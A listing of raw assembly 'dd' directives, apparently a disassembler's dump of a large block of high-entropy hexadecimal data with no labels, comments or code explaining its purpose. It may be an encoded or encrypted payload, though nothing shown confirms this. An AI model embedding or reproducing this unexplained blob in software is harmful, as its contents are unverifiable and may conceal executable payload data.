		dd 880D364Dh, 59CF4202h, 0C9B7D1F5h, 0B982E912h, 71F7D943h
		dd 0E9CC692Dh, 8C0A72Ch, 0D40289ACh, 0FD798212h, 2708CAA8h
		dd 7200047Eh, 0E96A056Dh, 202841E6h, 2516F6B8h,	0C6AD416Eh
		dd 0E5126500h, 36E94D23h, 0BE681960h, 7ADD43F8h, 972F7A3Eh
		dd 54E9CED1h, 0E65DFAA2h, 0CF8825DEh, 1B62595Ch, 28CE8EAh
		dd 2C260B5Bh, 0B8DD5C29h, 0B4BAE93Bh, 0C6163C99h, 89C9AC01h
		dd 0C01AF559h, 0DC4A7C74h, 80070710h, 9259A0EFh, 0A87FF2FCh
		dd 55278D97h, 8A29D007h, 2F8108Fh, 0B05FCA25h, 0DA07D51Bh
		dd 60FF1948h, 5EF5E909h, 752D9682h, 4F68020Ah, 0D193CD54h
		dd 0E26F7CE1h, 7084A2F5h, 0D8882543h, 0CBEA93F0h, 0E38C8BEFh
		dd 0AC98DF91h, 0AD803F22h, 42680657h, 6E21581Dh, 0A660D641h
		dd 2759B136h, 0FAC3AFC1h, 6C62665Fh, 53886EBBh,	5167490h
		dd 90EB673Ah, 0F6571CA3h, 54296E13h, 0C130064h,	5A24858Ah
		dd 214A0225h, 1D4031EDh, 0D69F413Bh, 3433C205h,	7C69C107h
		dd 958F6948h, 0F681DF88h, 0FA27507Bh, 0FEF289F0h, 25B9F59h
		dd 0E632EA24h, 0FB6800EFh, 52578043h, 0DAF7174Ch, 6B85FA01h
		dd 0F3F8117Bh, 0A1B0419h, 0E107E96Dh, 0F0B83F17h, 0D1F9EBB4h
		dd 0ED1AA716h, 0FAB624A6h, 0B58DAF17h, 0FEF8F2F0h, 303D13C2h
		dd 0EB9022D0h, 5B5A0470h, 0D321ED29h, 40D6A56Bh, 0AC6D3798h
		dd 0FB296905h, 805B850h, 54E10BE9h, 3D513FE8h, 9E121BECh
		dd 81E04CBEh, 0C12BD6Ch, 0AE840B84h, 565D0702h,	0C2535751h
		dd 2F1BD508h, 0B8012952h, 89B392C3h, 486059CEh,	69125E9h
		dd 673D8148h, 7C32D52Dh, 72A120F0h, 406E24D3h, 0DFA02795h
		dd 9D1F27EEh, 7D203890h, 29B5A0C8h, 0BFE3B11Ch,	210B5F73h
		dd 8934ACF2h, 32160D26h, 0A559DD09h, 13910408h,	0B4B6F001h
		dd 5D4E4116h, 6F036801h, 0BA1507EDh, 214A45E6h,	0C95D5Ah
		dd 14D5CE81h, 9562EB45h, 0A708AA04h, 47CC807Dh,	42170759h
		dd 34AB89E9h, 6082AFE8h, 0AC05008Dh, 0C2FB612h,	97047D2Dh
		dd 9F61FA5Fh, 7F116BE5h, 0B7F6031Ah, 5E0F5272h,	3BCC82E8h
		dd 0F9740E37h, 76314A07h, 9DF2F7C6h, 29729955h,	1828D165h
		dd 868978ADh, 7B85263Bh, 76695C3h, 82540620h, 0B4855EDh
		dd 0BA046852h, 5A21EC78h, 334D41A8h, 0A7893ACAh, 2D2CD4D6h
		dd 0C2C9253Dh, 8F767706h, 394FC5EFh, 653088h, 8157130Fh
		dd 48760DE5h, 59A0C4Ch,	0F749F359h, 836525FAh, 9F2FCD0Fh
		dd 0F925DFC5h, 5F0FBEDh, 0AD5F5E5Eh, 42B3C8F7h,	968BC86Ah
		dd 7C5AA9DCh, 972688FAh, 127AA06Ch, 0AE69B11Fh,	0C4ACC594h
		dd 0FEDBCFB0h, 0DC938F82h, 0F55A8DC1h, 31305117h, 7D4E1779h
		dd 0DE220319h, 0E9A88573h, 9EBD8DC2h, 3D3B09EBh, 61798807h
		dd 159CE9C1h, 3B16172Dh, 8916B263h, 5A027CF7h, 6FA29161h
		dd 0F3CD3731h, 723EF805h, 6FD86E14h, 8AE68E6h, 3723E905h
		dd 134D2EEAh, 0F04109E9h, 0CB674FBDh, 0CEF5FA80h, 0E968CC7Bh
		dd 50832AE7h, 7A10B151h, 5BB92C81h, 6EEC9F14h, 1B56241Fh
		dd 6C202CBAh, 318F3A12h, 7F027202h, 700AD7DDh, 60082097h
		dd 41D91E5Ah, 0E9243365h, 0B1A79496h, 0BEF4569Ch, 2E14B278h
		dd 0C0CB7E40h, 0DEFC5360h, 70083790h, 7313518h,	836972E6h
		dd 1C41CD29h, 141CA008h, 0EFDAE924h, 464E2D81h,	20E89164h
		dd 0DA29D62h, 185176ACh, 800BB501h, 1C88AAF5h, 661864B6h
		dd 98472AF0h, 25C27D57h, 3F482FB0h, 679F6BA8h, 124A245Ah
		dd 8F638261h, 57D28EFEh, 2830FD6Dh, 0A1B715B1h,	0D968CED1h
		dd 0E75D5C27h, 0CD7DA50Ah, 0A6E98A68h, 8EE0B1F9h, 8B723BF6h
		dd 0C69610D2h, 5EFDC482h, 5E3A0B60h, 0FA77E6FFh, 2F52B5BDh
		dd 347EC2EDh, 78FB5816h, 0A334E997h, 921A2AB3h,	0AD38A46Bh
		dd 66258DACh, 50BB2657h, 7ABBF423h, 0ED4BFC4Ah,	0CDB91F7Bh
		dd 6F1EE7C7h, 8EDD46F7h
		dd 0E4E6BDCAh, 58050C33h, 4A35A51Ch, 9EB9C180h,	16B8047Dh
		dd 89FC41E9h, 2999D111h, 0C0E202DEh, 407F4947h,	37C7009h
		dd 0D2F72542h, 0E8B47268h, 0ED97DFB0h, 0EC5099EFh, 0BA431C5h
		dd 0EABDA6C0h, 0BF71A45Ah, 8B390AFCh, 5D8D22D3h, 0C1DF2909h
		dd 0BBDB01F6h, 9DBAADFDh, 147B3866h, 0B7E84893h, 0C5AE8858h
		dd 0E85AEB2Dh, 0EC0F9530h, 0FD760DF2h, 3F6E8213h, 0C13AE9A5h
		dd 11A50AC2h, 4C1123F0h, 58158197h, 5B13E54Eh, 9204BC3Fh
		dd 0A1304AB1h, 193900A1h, 13E7811Dh, 0E4B3C7Bh,	0F45E4AACh
		dd 7F1E73D0h, 7EC95DC1h, 2DB727F1h, 0BB921EA4h,	3B0F6033h
		dd 8131B6FEh, 31F367C1h, 47FBF0FDh, 832C62BAh, 0F88398C3h
		dd 5D3F299h, 0A752705Eh, 132EEC65h, 0DDBFCB2Ah,	95AD41F8h
		dd 0AD1A89D3h, 5840F72Dh, 3461DD68h, 0FEF6B2F3h, 9D58AD4Ch
		dd 0A68A6FDCh, 0A00367C0h, 0D90DBE21h, 0FB04DFEDh, 8485E401h
		dd 67709335h, 1508042Fh, 0BAF0893Eh, 652C6FA8h,	17D19741h
		dd 4DC0AE27h, 91378C68h, 3C7ACEEh, 4FCD155Ah, 66EE6E05h
		dd 0DB024112h, 0DFE708ECh, 860C1F52h, 0C726031h, 1345129Ch
		dd 40B4BB78h, 6A7D0547h, 0BECA0991h, 2BF4ED8h, 54B81C25h
		dd 0C35DD7F7h, 48B4F0EFh, 0ED094F8Ch, 0AB267DC0h, 5D279BFDh
		dd 6AA61C45h, 0F16CC427h, 0D2485F9h, 425D60EEh,	32C634C1h
		dd 827F529Dh, 0AA515708h, 5540FA13h, 3D4678BBh,	4B8DF64Dh
		dd 9DE325h, 0DDC38006h,	39885266h, 0D39C53DAh, 5178AFF6h
		dd 97700820h, 92ABE1A2h, 0D0DA2902h, 0D765209Bh, 58E2881Ch
		dd 0E68714C9h, 14DE9FEBh, 0FD5AAEA4h, 0E909A667h, 0B8C52336h
		dd 6021B0B5h, 5FB0E35h,	682125A1h, 3B1E2869h, 3BAF185h
		dd 57710AF2h, 8ED1508Fh, 0D90A8A4h, 50C59FB6h, 99BF6EBh
		dd 7505E955h, 0CB5E1D04h, 0EEF37F80h, 7DFBEE75h, 0B2485968h
		dd 0C613B681h, 320E2011h, 2C863004h, 19F891E9h,	475B309h
		dd 0F88B802h, 0D84E19D7h, 0B763DBF4h, 77A88A74h, 0D0C3B209h
		dd 584B0B34h, 0B657982Fh, 67BD5EA8h, 11D6A5DEh,	3F31C5C4h
		dd 281D359Fh, 0B8317460h, 2597FED1h, 0B465FC2Bh, 7980B9EEh
		dd 950E9200h, 0A5E9D001h, 956E9AC4h, 5B3684F7h,	8BDDC2EEh
		dd 2F70C061h, 0AED3DC0Dh, 65020020h, 0C248E4C3h, 80010A63h
		dd 4A21A1E7h, 9F3240CAh, 8345816Bh, 6D9155BAh, 0A5EBE102h
		dd 0DC0E8C2Ah, 0F64CC262h, 108443D5h, 4A44F024h, 854C41BFh
		dd 3957AB6Eh, 7459050Eh, 81AF8EEEh, 2AE6301Bh, 137AE3DDh
		dd 896688FCh, 0BF0943B2h, 0F4664342h, 47D008Bh,	83E977AEh
		dd 44AE4A4Bh, 54080h, 3B2021BAh, 97897C98h, 0E94EB596h
		dd 9B5845FAh, 6250BF56h, 45083093h, 0BCF2AD7h, 3EAC176h
		dd 1313C05Fh, 4B6A253Ch, 6BCAA1FDh, 0C924421h, 0CE5AFBEBh
		dd 0DA445F0Ch, 0E6B42FF9h, 0A80D4BE9h, 0A4A1585Ah, 3101BF05h
		dd 7B4BA6BEh, 2CA4955h,	0C06A0688h, 0CEC1517Fh,	5A22804Bh
		dd 0CB858F64h, 0E8D55707h, 5F0304BFh, 0C7AF760Fh, 59FAD115h
		dd 0A6E13E69h, 0B1FAF82Eh, 21F56858h, 0A6F9F5C2h, 83EFE9C1h
		dd 56A774BCh, 5881ABDDh, 222D07B8h, 5174627Eh, 0C9B08C4Eh
		dd 877EF250h, 2FB6E984h, 964156FDh, 4A3AA83Fh, 0C50C16A0h
		dd 84C80987h, 2562C09Fh, 0D214398Ch, 24372D17h,	0CD0B0D51h
		dd 0B9070031h, 4F5FD508h, 3A52B9C5h, 0D52426C8h, 617984ADh
		dd 0A09756FBh, 701DC6D4h, 0EF81235Dh, 3501E327h, 29C1F040h
		dd 0AF734B67h, 16083710h, 81BB015Fh, 6B88A069h,	81DE9CD3h
		dd 0F5FD720Dh, 7D6AF71h, 387D095Ch, 0C00D388Fh,	3ECB81DFh
		dd 7776DC1Eh, 8096F350h, 5D87683Eh, 0B69160Ah, 0F92EDD89h
		dd 0DD8B271Fh, 646230B9h, 0D9BD33F5h, 0C2946274h, 952C9455h
		dd 5C14B959h, 8B2D9CECh, 45BF803h, 17621E44h, 0D3D98052h
		dd 653EC056h, 0E110DBE9h, 0DE3E2E84h, 0BE4F8A5h, 0A265D2Ah
		dd 8088DCAh, 0B09309EDh, 220933D2h, 5F4FE174h, 80D5C62h
		dd 1AEB2E1Ch, 0D0520C29h, 437B24C1h, 8D422990h,	0E0C10058h
		dd 74904004h, 0B77FA57Dh, 2F0C7390h, 0C36C826h,	0C1022E18h
		dd 8E20231h, 8B5787E9h,	0F52E2935h, 82A0066Dh, 491ECA09h
		dd 0A3040065h, 2D466C57h, 0CE8553E9h, 0BB768531h, 4111DBF0h
		dd 19C83AEEh, 17F490AAh, 12DFF723h, 0E9A8F05Bh,	6675682Fh
		dd 63CC20AFh, 2BA709Fh,	3F392678h, 0E802C829h, 680A8C05h
		dd 7ED96916h, 0E100BBDBh, 461008B8h, 3D30EDD1h,	8B84BD44h
		dd 31F8AB56h, 7C1FEE5Ah, 1CCA588Dh, 0C31DF77Ah,	0D79CE9h
		dd 7DF00D2Ah, 71353865h, 2C06507Ch, 7967D225h, 7E2B27D4h
		dd 19A076E4h, 0F01925F2h, 0BE604739h, 0A2183C30h, 5980C086h
		dd 9AFE5BDCh, 723322C6h, 6BEEB488h, 0D6209ED2h,	7A804810h
		dd 0EA8AF916h, 0E47D2B31h, 2D72907Ah, 700B0582h, 0E42C8B29h
		dd 324521BEh, 0F40B6A4Ah, 15CAAD4h, 0AC2E9201h,	813B294Ah
		dd 0FE13DD62h, 6850CCF1h, 8C324EE2h, 530244FFh,	0D7E96739h
		dd 40A4D4D4h, 0B422E80h, 0BF133E98h, 0C21C743Fh, 0DD802E28h
		dd 880B7CAAh, 0A4EAE916h, 65AE0168h, 0D3B0BCAEh, 518557C0h
		dd 0FFFE4AEEh, 0C80B3075h, 0E76A683Eh, 5F4414A9h, 7700D47Ch
		dd 0E92E470Ah, 0EACD11B4h, 0E482FA21h, 42D95927h, 813F2F7Fh
		dd 0F712B87Fh, 4E05128Eh, 3C146C39h, 6041C01Ah,	3A812C1Fh
		dd 0A3A43AE2h, 40C200EFh, 0E9E1CDF2h, 0F261152Ah, 0A520629Ah
		dd 685D1EBEh, 9186596h,	0BD602155h, 0FABFE990h,	27077570h
		dd 0CECCD739h, 0FC05CD27h, 60805858h, 0D302F582h, 5A097CA9h
		dd 30A70888h, 4300252Dh, 0E9D30D87h, 9375F705h,	4952FEC6h
		dd 71D05A57h, 0CF645069h, 0DBCB9F3Dh, 70C27B0h,	0A7EC034Fh
		dd 0A4EDC11Dh, 7115048Ch, 0F7FCC0DBh, 0FC2C116Fh, 777AC638h
		dd 37E888C0h, 66E9C00Ch, 0BC15DE5h, 347B100Dh, 84E62D5h
		dd 72EB2208h, 697B9769h, 84C11B6Ah, 0A23F080Ah,	0ACE90BF1h
		dd 0F0244422h, 327E5F3Fh, 58F70960h, 113B0BB5h,	5C85B04Eh
		dd 0BBE116E8h, 43F534D9h, 0D03A77FAh, 3E1223C0h, 3FBAB15Ch
		dd 0F87B05CEh, 9A824E46h, 2FE27A61h, 18A4C912h,	0BDE9C0E4h
		dd 0D095F129h, 28690427h, 0BEF73B26h, 2095060Fh, 0AE353AD5h
		dd 2CDC026Ah, 0D9E9C201h, 0AC79CB50h, 9226EA78h, 7549A8CEh
		dd 0CE4BBBC3h, 58C70AAEh, 0D183EDBh, 0E5F092B6h, 0BE05AC9Ah
		dd 494471A7h, 394CAEF8h, 0EC13A334h, 0F9852CA7h, 0F504838Bh
		dd 5509864Ch, 0E43EBCE9h, 76825BBh, 8AC2AFFEh, 84DE7953h
		dd 0FDFEF059h, 95FB9371h, 0D56DEA0Ch, 0B419F21Ch, 0C58431D9h
		dd 0B31334BFh, 29603B41h, 8E37F5F4h, 98D5282Fh,	1DB450E6h
		dd 81E4C07Eh, 0E97AB353h, 28E67A55h, 0D9E2F114h, 9B7FA681h
		dd 25C032B2h, 0B7F6780Bh, 0F725B36Dh, 0C1E95821h, 0B7252A08h
		dd 96F112EEh, 5CF2DAAEh, 583E6754h, 0FD252A9Ch,	0BD2ED495h
		dd 0EC56DC96h, 40452EB0h, 96FA5F9Dh, 290CDB64h,	427881AFh
		dd 0F3FC3F0Eh, 833258B2h, 310CC5Bh, 435AC579h, 82D96266h
		dd 422E04h, 552D61FAh, 5A5B1D50h, 550F0781h, 0B54A5430h
		dd 36D15E63h, 9532202Ah, 65B05300h, 78685755h, 439B1F03h
		dd 0EAAA97E9h, 832DF8C9h, 105FFE4Eh, 3834F812h,	0C3DAF2AFh
		dd 824CED80h, 30F6E1E8h, 1000A62Eh, 934FC8E5h, 0E42F5EBAh
		dd 68C60193h, 0A33E395Bh, 2B4B0B34h, 218DC0D4h,	2F85023Ch
		dd 0FED37CE9h, 32064489h
		dd 45BA10BBh, 9A21C468h, 71AE003h, 230C0443h, 0F1F68FD2h
		dd 1C46ED8h, 3D0CB108h,	4F6FF8CAh, 0C94A76ADh, 3CFB2E1Fh
		dd 0F94AF647h, 0C8488BFh, 38BF6E4Bh, 0A7D75954h, 621CF5A4h
		dd 73BAF775h, 0DB28B25Fh, 5BBCA9Fh, 1453474h, 2C61ABF5h
		dd 7F72ED58h, 0D7AAB317h, 859FA2A2h, 56793977h,	8F8AA1F1h
		dd 0A468875Dh, 1934BEh,	0AA1D433Bh, 42504A63h, 385FB3D6h
		dd 5BD95CCBh, 3AEB2A5Ch, 0BB543530h, 0FB4B95EBh, 68C4D0E7h
		dd 0C36EE65h, 5EFD31DEh, 0DC934BA6h, 0FE4EC2E6h, 2AB4DDBFh
		dd 0A8D6BCB2h, 0B868820Fh, 0B52CA016h, 0AEA809Bh, 2E2CE9F6h
		dd 0AE5FBCABh, 1B012413h, 35D12159h, 22057F68h,	0BA4F7FACh
		dd 7F647212h, 932FA8AFh, 5227A1B8h, 0E916BE6Ch,	4B8CD8FBh
		dd 74597901h, 73D6BD63h, 10250C68h, 8ACA88CEh, 0A6FC517Dh
		dd 6F27372Bh, 0F33D4686h, 0BE8BD89Ch, 2D767301h, 0BBE772F2h
		dd 0F60E6B19h, 490DA48Bh, 43C79061h, 9DB1ACB2h,	57912AC4h
		dd 8E6B933Dh, 8A267E44h, 7E6B2875h, 83293546h, 445FCDCAh
		dd 7DA18FB8h, 8329544Eh, 2A25E2AFh, 0C5437C59h,	63FEBD3Ch
		dd 279ED11h, 0F03B0538h, 84D5B550h, 2FC44D17h, 0F7957D03h
		dd 0C1AF9FD0h, 419D8D03h, 0CE45A52Ah, 92145657h, 6A39A1DFh
		dd 0E1C9F2B1h, 1D88F420h, 1ED5F6DDh, 865901EBh,	0CBDA30D3h
		dd 0DB7A097Eh, 501892F1h, 0DD3D62A6h, 0BCC95540h, 0D9E525AEh
		dd 0F86E9B9Dh, 16BDD0C8h, 2F57CC88h, 443995C7h,	6A4C97F9h
		dd 0BEB3209Dh, 3FB2CDC8h, 0AB4BE801h, 29E96538h, 0E4DE8211h
		dd 80D0BB50h, 14B90CE2h, 6355812h, 2DD6B87Fh, 96DDA0B3h
		dd 168FDF98h, 7628EDC7h, 34B4EF5Bh, 35D2DE9h, 460A6EC8h
		dd 423E2FEDh, 2620904Ch, 192584Dh, 46B83A15h, 8420D501h
		dd 1BE924EEh, 2F5CA759h, 2410163Ch, 35B8D921h, 0B5685E00h
		dd 65D11554h, 0F5FEEB25h, 996029BCh, 7CF78159h,	12F4F1Ch
		dd 4C63924Eh, 89A46005h, 3688D2B4h, 0DD202D4Eh,	0BD0A2ECAh
		dd 8934647Eh, 84AF9332h, 0A13BA95Bh, 207CC068h,	9F868ECBh
		dd 0E60189FBh, 67C07647h, 0EC89EEC1h, 8359C505h, 1358D188h
		dd 4B0FF857h, 97FE93D5h, 45ADBEF5h, 13B27AB5h, 0B134710h
		dd 0D967AF68h, 42C2CD1h, 0AAD942E6h, 563D09A9h,	0D498B27h
		dd 5007C219h, 30345DB1h, 0D567508Bh, 92BD705Bh,	24420286h
		dd 8259EF2h, 0A57527A8h, 4EAAF68Eh, 3AE4D10Ch, 5AE7B32Ah
		dd 0AFA264FBh, 0EFE403FCh, 0E22FB97Dh, 9B2F10E8h, 0AEDDFE4Ah
		dd 0F028C1F9h, 5098B102h, 9FFEDB0h, 1B9106EAh, 96C2BDF5h
		dd 0F58EFB7Eh, 5521E6DDh, 13BC090Ch, 748B7198h,	0C1DDA38Bh
		dd 0F14D73F6h, 3FCAB06Eh, 0BBC03E54h, 0D616205Ch, 19C538FFh
		dd 476B6500h, 56A686BDh, 0A42B522h, 0DC89D0DEh,	0EFCED47Fh
		dd 3BF0C96Bh, 4C315A25h, 13E89FABh, 5F8ADF06h, 406CFEC5h
		dd 0D0CB05B1h, 82E1C0E9h, 0FE555486h, 79FF523Ch, 30E14D22h
		dd 7413E2Ch, 0C730E47Eh, 0F26DD709h, 0A0677E2Ah, 0BE560508h
		dd 0EF381155h, 598068C0h, 0E908176Bh, 0E1BAB185h, 0CA616B5Ah
		dd 0F7B581B2h, 8C9AAA98h, 9531FB44h, 7EFE15D8h,	0EF62B896h
		dd 89BB05BDh, 0A6B0E8A0h, 159C7B7h, 2683AB5h, 0B6E54C51h
		dd 0F2E96A13h, 0F1128257h, 73618ABEh, 2FABE55Eh, 35AE4AC1h
		dd 0B34ACCEh, 0F9794868h, 93E4A48h, 0D95C3E3Dh,	0FEF2B6CFh
		dd 9984BD4Fh, 0FC7E0CAEh, 6D68B012h, 3E32AB6Ah,	3C16587Dh
		dd 0C261F96Fh, 7DFEF8D8h, 9820A5CEh, 6AB1EAA3h,	21C020B5h
		dd 0F4B4B16Ah, 64CC3BCCh, 12638014h, 0FFD38283h, 835A9B04h
		dd 0E0479D3h, 0AD0E99Dh, 19D335ACh, 2AAD3295h, 0EE586DE3h
		dd 682F470Bh, 0A72002D0h, 0B529031h, 2B143F4Ah,	0DF510955h
		dd 86A7DDD3h, 20CE01CFh, 5C3EA2BBh, 2F9A0553h, 1FB7984h
		dd 0FA1E0293h, 1C77200Fh, 13B9B9C3h, 900DFB5Ch,	4C7C32E1h
		dd 0D2161687h, 68D53CA3h, 0DC782525h, 8F44CFE3h, 0E15F306h
		dd 69FF5A4Eh, 0F611575Bh, 7272B66h, 8102B4A4h, 28E1DFCDh
		dd 0C57307Dh, 0B706AD03h, 2E64DE9h, 0A05C323h, 0F3763C92h
		dd 66BF08A0h, 0E9560841h, 9434E530h, 9220F8AAh,	75EAFA02h
		dd 77B16AB1h, 30C44D88h, 66535262h, 4D09681Dh, 0C96DB231h
		dd 0F9D26C3Ch, 1F8512AFh, 1DEC7EDDh, 6DA097C3h,	2A7A4985h
		dd 0F140F9B0h, 647B09BFh, 8F8F7481h, 45915486h,	230DCB05h
		dd 218213AAh, 0D52DE27Ah, 0DA096368h, 24895B4Ch, 49025806h
		dd 7EFEA40Bh, 46DD2568h, 1CFB4094h, 0A9E0EC83h,	52F99651h
		dd 59EA4877h, 7346950Ch, 0BC5F304Eh, 0F4567E8Bh, 0F667014h
		dd 9580F4B8h, 4B9C2E51h, 0E615E98Ah, 9986FADh, 14F037E9h
		dd 599D307Bh, 0F717C9C9h, 8C0877A6h, 44FB20FFh,	0F1058186h
		dd 662FD1ACh, 7B25ABACh, 0DC55ACC2h, 0B3BE4387h, 5BA145Eh
		dd 0E25BDEF7h, 63407293h, 0A44F5DE9h, 8F58001h,	9F04E5C0h
		dd 42920606h, 835A4580h, 24F3BFC5h, 3FF88F44h, 139168E0h
		dd 6BAC9891h, 8BAA5B45h, 0C0421ADBh, 5F3A44B2h,	0BF43C408h
		dd 0B6B0F5B2h, 1ED9C066h, 3B554DDEh, 712F382h, 0E0F0655Eh
		dd 0BB05533Eh, 0F14224Eh, 9DA0C9C5h, 0D25E9D5Eh, 0B1ABC664h
		dd 9A1056Eh, 189E7D8Dh,	0C3564095h, 35B20934h, 416A898Ch
		dd 11BCE402h, 4705BBD2h, 311A3829h, 61FE23D5h, 3816E99Ah
		dd 2DAD3B92h, 90B0E328h, 905266C9h, 0E7C320CFh,	511ED0E0h
		dd 0CA8957B1h, 0C2EFA25Dh, 565309B2h, 0E130561Fh, 7549F781h
		dd 0F13C586Ch, 0E391B09h, 231F8682h, 0FC814D04h, 0F03F9866h
		dd 0DC272B63h, 20451CFEh, 0E5F66D4Ch, 7722F002h, 0E1EDC17Fh
		dd 13D77070h, 1D2F71Ch,	0D75109F0h, 8B092E6Ch, 5748F42h
		dd 0F985D329h, 2D6D388h, 0E126685Ah, 62DDE607h,	91D0D51Ch
		dd 0ED214897h, 952512EFh, 0A550BE35h, 69E91308h, 0D028A281h
		dd 3164E03Fh, 4B58DC92h, 6A2F0745h, 0E8C33956h,	0DAFAE5F5h
		dd 0CE220BE5h, 0D5DF1AFEh, 0E1206ADAh, 3F55582Dh, 0E8699702h
		dd 2445B1Fh, 89139C62h,	1C6C7DDDh, 74ABD15Eh, 0BCFCBFAEh
		dd 60510CD9h, 0AD80485Dh, 6D812468h, 0FA7DC9ABh, 0B9B33717h
		dd 6E4CA226h, 0E78701D9h, 80BB3878h, 0AD5532DDh, 8900BD3Dh
		dd 0CE203635h, 26054E05h, 0E509742Bh, 5705A0Ah,	46D0D2C5h
		dd 555B8079h, 5640F103h, 112614EEh, 700AF72Bh, 2E6BF09h
		dd 9E75B0C5h, 0F5126774h, 0D7F26809h, 0BE2D7384h, 0F0472FB1h
		dd 0F640ADECh, 0C4A5F11h, 155C02E7h, 38D70E13h,	7FC26709h
		dd 0CEFD1098h, 0FECF8980h, 0E5C6BA5h, 0B2E23F01h, 3CA2E9F1h
		dd 33F24BDCh, 531A04Bh,	30FF403h, 0BB352D0Ah, 0F1AAE51Ah
		dd 4E5AE0FCh, 8507437Ch, 8984D681h, 0D9F758E1h,	7B219A40h
		dd 0C0DE42Ah, 6AA96485h, 0E939053Ah, 286464DEh,	688A8882h
		dd 0BEEA4B32h, 9DE8250h, 57601E19h, 7A3B5F7Bh, 67F60272h
		dd 40AB9EAAh, 515D8661h, 92D8ACD2h, 62D8243Bh, 26084867h
		dd 70460298h, 0A1406C53h, 3AE82DC0h, 0D984C195h, 5960043Fh
		dd 0BC5CAA4Dh, 0B76241C3h, 0B580C13h, 0F62CEAB5h, 74B7709Ah
		dd 0BA5258DDh, 4EAE9884h, 0D350FDA4h, 40D7DCB0h, 6D0B2D1Dh
		dd 2637F57h, 0FD49374Ch, 3FC2A993h, 7640416Ah, 392C6068h
		dd 77A5DF05h, 1BEDB780h, 7348EB6Dh, 805630E9h, 0C33B7B4Eh
		dd 83E9D66Ah, 9AB900ECh, 5B4F123Eh, 0D9ADF049h,	0DEAC193Fh
		dd 126066A8h, 6BFE3FEDh
		dd 0A50980B8h, 70DE5BBFh, 55D2FE3h, 64FF8D77h, 0FC15FB3Ah
		dd 6268090Fh, 759A3234h, 0E90511FCh, 8CADB3D6h,	4059B410h
		dd 7125CEDh, 41EA4012h,	0BD388EC2h, 0DAA7404Bh,	0B09AF3Fh
		dd 0E8F9C4E9h, 812552C4h, 0FD33755Bh, 0E8B55478h, 0EF180575h
		dd 5BF3FD4h, 0E8574A02h, 411F9EF4h, 0BE343D0Fh,	62FF98D3h
		dd 89752F17h, 0C914D63Fh, 35487200h, 0E92D23B3h, 741E42D2h
		dd 25D95ACFh, 6675916Bh, 0C5B92F09h, 786722D2h,	0DC9D3C78h
		dd 0A32EC4BCh, 239D1750h, 48EDB629h, 5F88036Bh,	7DE84705h
		dd 0F028295Dh, 0D980072Dh, 9D192441h, 0DEF04262h, 4AA0EF04h
		dd 20674168h, 1A974528h, 5E25DF57h, 2F46F351h, 0AD22F459h
		dd 0F74BFA56h, 0AF2620C8h, 5954CCC2h, 57EC6056h, 22D6276Dh
		dd 18D0B203h, 0C027DC3h, 1DE72B87h, 0E1A28FC1h,	0B3E8B5F3h
		dd 84A7A692h, 5BBDB693h, 0EF812730h, 76E2F6F5h,	5C73F75h
		dd 1A48EC96h, 80D1C87h,	0FC14041Ch, 0F469B3ABh,	0A0805F09h
		dd 21C91CCDh, 0CF2F50F8h, 36047FEh, 7AF70375h, 6A233FF7h
		dd 68045CABh, 9EF63622h, 0A0BF3FC5h, 8F49E964h,	0DB654B5Eh
		dd 0E6C5FA05h, 0AEF476A5h, 17AE98BBh, 13215AD7h, 28BB0D6Bh
		dd 0FFC52A22h, 0FE142CBFh, 3329D74Bh, 293AB1EDh, 0FBE37A10h
		dd 0A0E9F90Ch, 0BC03045Fh, 0C058C388h, 0B5682CE3h, 0FA9509EEh
		dd 1FB49457h, 0CB555EF1h, 0A440554h, 0D6048B2Fh, 7B52D176h
		dd 9AADC3E0h, 27245048h, 6C9C96CEh, 492FE941h, 0AFA4C910h
		dd 0D4B6A68h, 6B0CB10Fh, 0EAA2C7BDh, 0C155F877h, 79482F26h
		dd 95F82B60h, 25680840h, 70183875h, 5480538Bh, 7E56BF5Dh
		dd 26DE8CEBh, 689BC5CCh, 3F29B1F0h, 0E9C2C1E7h,	0D4443FF0h
		dd 67E9AF97h, 0DBBCEE0Bh, 0BAF94044h, 8760AF7Eh, 7767C2CAh
		dd 91424B3Dh, 2150A1Dh,	0F7505F5Eh, 446D4A95h, 0E8382727h
		dd 4E2D274Ch, 85A27169h, 0AB30BAE9h, 7D201BC9h,	1A930AC9h
		dd 1EF63363h, 7E9C812Ah, 93CBDCE9h, 0F2AB5E96h,	0ABF4CBA3h
		dd 52285447h, 42FD5475h, 0A7F9AD1Bh, 0D17ACBCh,	97C64CADh
		dd 7D69E959h, 525845E4h, 0AE01025h, 0BAE2EC77h,	0E7B907F0h
		dd 0A516F05Fh, 2A09B104h, 0AD7F815Eh, 0C9E76858h, 0BD6F12E6h
		dd 0E6F3BB11h, 469CBB81h, 0EB1C81D1h, 28114798h, 0EDE9BB64h
		dd 62EBFEEEh, 530BAEECh, 0F30AC9C4h, 5AF0AD69h,	0D310BB5Eh
		dd 0FB4B742Bh, 2506A840h, 0F84B05ADh, 2F4A9CABh, 273EF47Ch
		dd 0B13055A2h, 6D096851h, 0FB05AA41h, 0D0A1E90Dh, 0D821744Dh
		dd 0ED6BF2E9h, 6FDEF650h, 88177065h, 1840D9BCh,	1F6209BAh
		dd 0A25F2B7Ah, 51F0D88Dh, 2FF83D12h, 72DCDB68h,	0EA0755C0h
		dd 5FD6C166h, 3877A441h, 0FB4CA2h, 848D5099h, 496BE5E9h
		dd 0E9B0EBFFh, 0DCB34719h, 57C2C089h, 0DADD3418h, 82F545C0h
		dd 306F785Fh, 0C810454Dh, 4C5CCB6Ah, 60C0306h, 0B401420Ah
		dd 81F54C4h, 1980F153h,	1517B7B9h, 0CF01FA31h, 0F7CE463Ch
		dd 80552D56h, 668939E7h, 3EAD29E9h, 0F2502751h,	5571F897h
		dd 917AFEE1h, 3E663D0Ah, 0FA931CE3h, 0C96E0B61h, 4427D13Eh
		dd 40560269h, 0B5C51AE1h, 315F0FA9h, 4C6CDDADh,	0D1F7660Eh
		dd 5AC26862h, 0F8C7D27Fh, 438F32B9h, 0A790CB12h, 288103B5h
		dd 0DEF0833Eh, 8421C399h, 72E9640Ch, 0E15BA4ACh, 0FA60A076h
		dd 7C1C14Bh, 6F78100Dh,	0FF09AE5Ah, 200F5829h, 86A0D5EEh
		dd 72C3315h, 71081E2Ch,	0A7772DB0h, 0C4328592h,	0FBEB40B9h
		dd 8BDE9C90h, 22DE2FB8h, 9A2B9450h, 0ED15B61h, 0CE895972h
		dd 70653500h, 59829AEAh, 0F52140B7h, 8095F7E9h,	75A7BF77h
		dd 0C10617FCh, 986A09E7h, 80ACC4A5h, 0EDC06383h, 0E580030Fh
		dd 6ADEE4AEh, 8712E9EDh, 0E039EA48h, 0EAF928A2h, 701BC03Eh
